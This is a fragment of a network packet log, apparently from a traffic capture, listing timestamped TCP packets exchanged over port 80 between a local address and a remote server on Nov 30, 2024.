Nov 30, 2024 05:00:21.680769920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.680881977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.681718111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.681777000 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.681828022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.681885958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.682668924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.682801962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.682858944 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.683598995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.713840008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.713933945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.713999033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.714318991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.714441061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.714474916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.715262890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.715327978 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.715377092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.716227055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.716288090 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.716340065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.717180967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.717228889 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.717231035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.718100071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.718142986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.718215942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.719074011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.719090939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.719175100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.841728926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.841844082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.841922045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.842277050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.842305899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.842402935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.842925072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.842982054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.843851089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.843955040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.843960047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.844094992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.844790936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.844902992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.845730066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.845798969 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.845843077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.845904112 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.846685886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.846811056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.846880913 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.847644091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.847752094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.848588943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.848644972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.848695040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.848757029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.849519014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.849585056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.850142002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.850481033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.850617886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.851449013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.851512909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.851563931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.851619959 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.852374077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.852497101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.853327990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.853382111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.853555918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.853660107 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.854276896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.854398012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.855218887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.855278015 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.855307102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.855355024 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.856204987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.856285095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.857120991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.857217073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.857247114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.857322931 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.858064890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.858144999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.858429909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.859019995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.859146118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.859194994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.859961033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.860083103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.860119104 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.860907078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.861027956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.861088991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.861865044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.861989021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.862104893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.862811089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.862922907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.863008976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.863754034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.863893986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.864720106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.864837885 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.864840031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.864917040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.865664005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.865797997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.866244078 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.866586924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.866715908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.867568970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.867659092 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.867676973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.867723942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.868541002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.868653059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.869457960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.869576931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.869577885 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.869623899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.870491982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.870551109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.870630026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.871386051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.871495008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.872311115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.872370958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.872422934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.872515917 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.873245001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.873356104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.873924971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.874203920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.874326944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.875147104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.875226974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.875250101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.875298023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.876101971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.876193047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.877043009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.877132893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.877139091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.877192020 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.878011942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.878120899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.878181934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.878937960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.879059076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.879882097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.879954100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.880001068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.880099058 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.880912066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.881011963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.881774902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.881836891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.881887913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.881970882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.882745028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.882863045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.882924080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.883678913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.883801937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.884624958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.884696007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.884696960 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.884742022 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.915088892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.915165901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.915286064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.915642023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.915771008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.915961981 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.916577101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.916673899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.916893959 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.917511940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.917629957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.917701960 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.918447018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.918554068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.918674946 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.919382095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.919478893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.920346975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.920383930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.920416117 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.920460939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.043077946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.043272972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.043334961 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.043571949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.043657064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.044501066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.044558048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.044601917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.044645071 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.045480967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.045568943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.046010971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.046401024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.046513081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.047354937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.047466040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.047468901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.047506094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.048336029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.048454046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.049280882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.049339056 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.049371004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.049426079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.050204992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.050313950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.050401926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.051172018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.051244020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.052119970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.052186012 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.052239895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.052292109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.053054094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.053169012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.053993940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.054014921 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.054089069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.054968119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.055038929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.055063009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.055114985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.055900097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.056081057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.056849003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.056905031 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.056942940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.056993008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.057782888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.057900906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.057981014 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.058760881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.058794022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.059681892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.059762955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.059842110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.059909105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.060627937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.060762882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.061590910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.061623096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.061638117 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.061681032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.062531948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.062645912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.062699080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.063478947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.063601971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.064440966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.064488888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.064553022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.064599991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.065382957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.065490961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.066334009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.066390991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.066435099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.066478014 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.067290068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.067400932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.068228960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.068315983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.068350077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.068392038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.071989059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.072005033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.072021008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.072036028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.072052002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.072067976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.072140932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.072140932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.072140932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.072900057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.073060989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.073126078 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.073762894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.074045897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.074208975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.074224949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.074321985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.075977087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.076141119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.076244116 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.077018976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.077178955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.077296019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.077898026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.078048944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.078210115 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.078512907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.078675985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.079521894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.079591036 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.079663992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.079715967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.080416918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.080586910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.081478119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.081547022 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.081589937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.081659079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.082355976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.082489014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.083447933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.083463907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.083514929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.083514929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.084233999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.084505081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.084583044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.085340977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.085355997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.085429907 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.086191893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.086347103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.086391926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.087145090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.116744041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.116826057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.116909981 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.116982937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.117070913 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.117116928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.117947102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.118067026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.118127108 CET	49732	80	192.168.2.4	141.8.197.146
